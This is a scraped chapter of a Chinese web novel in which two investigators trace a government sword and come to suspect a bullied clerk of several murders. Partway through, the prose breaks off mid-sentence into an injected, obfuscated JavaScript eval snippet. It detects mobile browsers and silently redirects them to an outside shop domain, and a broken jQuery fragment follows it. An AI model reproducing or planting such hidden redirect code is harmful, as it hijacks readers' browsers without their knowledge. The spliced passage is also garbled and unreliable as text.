文趣网 > 其他小说 > 我在妖城客栈当心理委员 > 37. 第二卷 第十七章 线索
    “没错,这确实是衙门的刀。”许大人接过那把刀来回看了看,确认道,“真是怪事……最近没听说有谁丢了佩刀的?我让他们去下面问问。”

    事不宜迟,他们一大早就赶来官府确认情况,如果这刀是祝娇阳从梧州带回,又出自离州官府的话,很可能意味着离州官府与祝家商队遭劫之事有关,也还有可能与他们近日在查的那两桩命案有些关联……

    “对了,你说这刀……是从哪里捡到的来着?”许大人看向陆苍祁,谨慎地问道。

    “码头。”陆苍祁答道。

    黎挽月偷偷瞟向陆苍祁,他没对许大人说实话,不知是出于什么顾虑……

    “大人,”陆苍祁问道,“不知…祝家商队近日可有消息?”

    “没有。”见他突然问这个,许大人看了他一眼,不耐烦地摆摆手,“严大人死了之后,原本由他负责的一些差事就落到了我头上,真是麻烦!”

    “原定的日子都过了,却到现在还未进城,我看他们今年是不打算来了……”

    许大人回屋忙他的事情去了,陆苍祁借口说要查些档案,他们一起离开书房往外走去。

    “你怎么想?”黎挽月问道,“有什么怀疑的对象吗?”

    “我不确定。”陆苍祁坦言道,“但那把刀、祝家被劫的事、和昨日祝娇阳的反应……的确减轻了祝家的嫌疑。”

    “如果祝家遭劫的事儿真是官府干的,祝家出于报复杀人,按理说官府的官员们心里应该有数,不会对两桩命案毫无应对,像无头苍蝇一样查不出线索。”陆苍祁沉吟道。

    “如果真是祝家因为贸易的纠葛要杀人,又为什么不让祝娇阳知道,还要放她在离州自由行动呢?”

    “所以我认为……这之中很可能还有什么隐情。”陆苍祁总结道。

    黎挽月点点头,这之中的确疑点重重,这些天查来查去,总觉得有什么东西被他们忽略了,好像拼图缺了一角……

    “会不会这其实是两件不相干的事?”黎挽月猜测道。

    “我也在想这种可能。”陆苍祁道,现在他们也只能抓住这仅有的一点苗头,“所以我们先从严大人手底下的人查起。”

    交谈间他们已来到了存放官吏档案的地方,再次从一排排卷册中查找起来。上次只查了与齐准相关的几个人,这次范围扩大到严大人统领下的所有人,够他们忙一阵了。

    几个时辰过去,看过的卷册摞成一摞,还有一些卷册被他们折了角,铺散在桌子上,旁边放着好几张陆苍祁画的图示。他要捋清官府中人的职位,列出所有可能经手此事、或与此事有纠葛的大小官吏。黎挽月觉得毫无头绪,开始对着那些卷册发呆。

    “…对了,陈同也是严大人手下的文书吏。”黎挽月提议道。“我们要不要去问问他?”

    “也行。”陆苍祁揉了揉紧皱的眉心,放下手中的卷册,站起身来,“有个能说上话的人也好……”

    他们一起将桌上那些东西收拾好,往外走去。

    “不知道他今天在不在……不如先去值房问问?”黎挽月驾轻就熟,带着陆苍祁往值房走去。

    衙门里这些底层的衙役书吏们,闲时都在值房里下榻休息。此时已近正午,估计正是他们休息的时候,正好可以打听一下。

    “你们找谁?”

    “陈同。他今日在吗?”

    见他们进来,门边铺位有个衙役冲他们招呼了一声,他们便说明来意。

    上次黎挽月来时,这里空无一人,她便扶着陈同径直去了他的铺位。而此时的值房里,十来张床位依次排开,闹哄哄地歇着不少人,只有她一个女子站在这里,她顿时感觉到有许多目光投过来,停留在她身上来回打量,她只得硬着头皮往前走。

    “陈同今日什么班?”那个衙役冲旁边的人问道,“怎么今天好像没见他?”

    “不知道…准是晚班吧?可能晌午才来……”

    “无妨,我们在这里等他。”陆苍祁回答道。

    他们在陈同的铺位上坐下,周围的几人打开话头,谈笑着议论了陈同一阵,多是“麻包”“窝囊”之类的外号,言语不甚尊重。

    “……看来他在这里的处境的确不太妙。”陆苍祁小声说道。

    黎挽月点点头,猜想他没准是需要养伤,今日才没来当值。

    “那个是许勇,还有那边的那几个……”黎挽月扫视周围的床铺,发现那几个人基本都在,便悄悄地一一指给陆苍祁看,“他们就是昨天欺负陈同的那几个人……”

    王胜突然走进来,一路阴沉着脸,一屁股在斜对过的床铺上坐下。

    一个原本坐在他床脚,正与旁边的人有说有笑的衙役赶忙起身,给他腾出位置。

    “呦,大哥…今天这是怎么了?”邻铺的许三梁打量着他眼下的青黑,谨慎地问。

    “昨晚没睡好……”王胜把被子往上一拉,闷声闷气地说。

    “许是这两天累着了吧,天天一堆破事……”许三梁看他没生气,便自顾自地聊起来。

    “不是。昨夜家里好像进贼了,狗不停地叫,把人们全都吵起来……”

    “啊?竟有这事?”

    “可不是嘛,我那老母本来就胆小,非撺掇我起来看,找来找去也没发现什么,弄得我半宿没睡……”王胜不耐烦地挠了挠头。

    “嚯,最近可不太平,大哥你还是小心点为好……”

    几人有一搭没一搭地闲聊起来,王胜偶尔答话,很快就没了声音,想必是睡着了。

    “今天陈同也不在,晚上散值谁来打扫值房?”

    “不知道,没准他下午就来了吧?”

    “他可不敢缺勤一整天吧?那穷鬼舍得少挣一个子儿?”

    “要我说他就应该直接去干杂役,省得整天笨手笨脚惹大人心烦……”

    “可不嘛,他刷的夜壶比他脸还干净!”

    两人又笑起来,商量着今日散值要出几个钱让陈同替他们打扫值房。黎挽月往床边看去,床脚堆着一堆扫帚之类的清扫工具,别人床边却没有这些,像是人家把工具全都堆到了他这里一样。估计每日也有许多额外的活儿,像这堆扫帚簸萁一样被推到他头上。

    不知道他有没有靠替别人干活赚到足够的钱,只可惜他这样做小伏低,却也没换来别人的半分尊重。这简直就与她之前在家里的处境如出一辙,想到这里,黎挽月生出一阵同情,不禁替他感到不值,心里泛起一阵郁闷,只觉得哀其不幸、怒其不争。

    那边的两人价格没谈拢,出多少都觉得不值,其中一人提议道:

    “……实在不行咱俩就凑合着干干?”

    “那可不行!我跟你说,某一日我经过窗前,突然有把刷子掉下来,自打那以后我就忌讳刷子,看到刷子就害怕,更

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17899911|208651||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    别提打扫!”

    “你可真会鬼扯!”

    两人哄堂大笑。

    “吵死了!给老子小点声!”许是被这阵笑声吵醒,王胜翻了个身,不满地大声嘟囔,两人立刻闭上嘴不再说话。

    刷子,黎挽月想起第一次见陈同时,他也拿着把正在滴水的刷子,忙着在值房里干活儿。她捡起一把刷子细看,发现木柄上有着深深浅浅的指甲印,不像是正常久用的磨损,倒像是使用者曾经一边攥着它,一边恨恨地咬紧牙关,直到把指痕都深深掐进木头里……

    她突然觉得心中一震,好像有什么东西一直在,只是被她忽略掉了……她突然站起身来,却又是一阵茫然。她也不知道自己要找什么,于是只得焦急地向周围看去,渴望抓到一点灵光一现的想法……

    “怎么了?”陆苍祁看着她这突然的举动,疑惑地问。

    黎挽月走到窗前,猛地推开窗子——

    一小股灰尘被风卷进来,窗外是一条甬道,连接着几座屋舍之间,向远处延伸。

    “我上次发现栖雾痕时,走的也是这条路……”她望向窗外,喃喃道。

    =========

    “你的意思是说……”陆苍祁在她旁边说着什么。

    黎挽月没有答话,她还在想着那刷柄,只觉得那些掐痕,似乎是一种情绪的证明,像是隐忍,更像是一种浓烈的恨意……

    此时他们已经走出值房,来到外边的甬道上,快步朝着上次发现栖雾痕的地方走去。

    很快他们就走到了上次发现栖雾痕的那个转角,这里离值房很近,如果陈同打扫值房,需要去井边打水,中间来回往返,也会经过这里。

    “所以,你怀疑是陈同?”陆苍祁看向她,问道。

    黎挽月心头惴惴不安,努力想要平复,却又不自觉思索着那些线索之间的关联。

    “我只是觉得奇怪……那日严大人惩罚陈同,隔天就被杀死,昨日王胜欺负陈同,当晚家里就糟了贼……”

    他们要找的凶手,很可能是官府中人、在严大人手下当差,这些条件,陈同也全都符合……会是他吗?感染了某种栖雾,获得了强大的妖力,为了报复而杀了这些人?

    “可是别忘了,严大人死时,他正忙着誊写卷宗。”陆苍祁提醒道。

    的确,黎挽月稍稍平静,严大人死时,陈同正在档案室抄写,这是他们都已经查证过的,三十多卷总造不了假,也许只是她想多了……

    “但是严大人的官服被脱去,除了利用,也许可以解读成一种……羞辱?”陆苍祁推测道。

    黎挽月回想起他被严大人惩罚时的样子,若是脱去他的衣服,本就代表着一种报复呢?

    “还有他的外号…‘麻包’……而齐准死于货包砸头,这之间会不会有某种关联?”黎挽月接着说道。

    她想起那些人的死状,从他们的死法能感受到什么呢?

    被发泄的恨,还有一种隐隐的快意,他终于做到了自己想做却没能做到的事,也许这对他来说是一种解脱……

    “要想知道也很简单。”陆苍祁突然开口道。

    “邻水寮,积善坊。”他平静地报出一个地址,“要不要去看看?”

    这是他们刚才查看档案时看过的陈同家的住址,没想到陆苍祁竟然记得。怀着一种惴惴不安的心情,他们立刻马不停蹄朝着他家的方向赶去……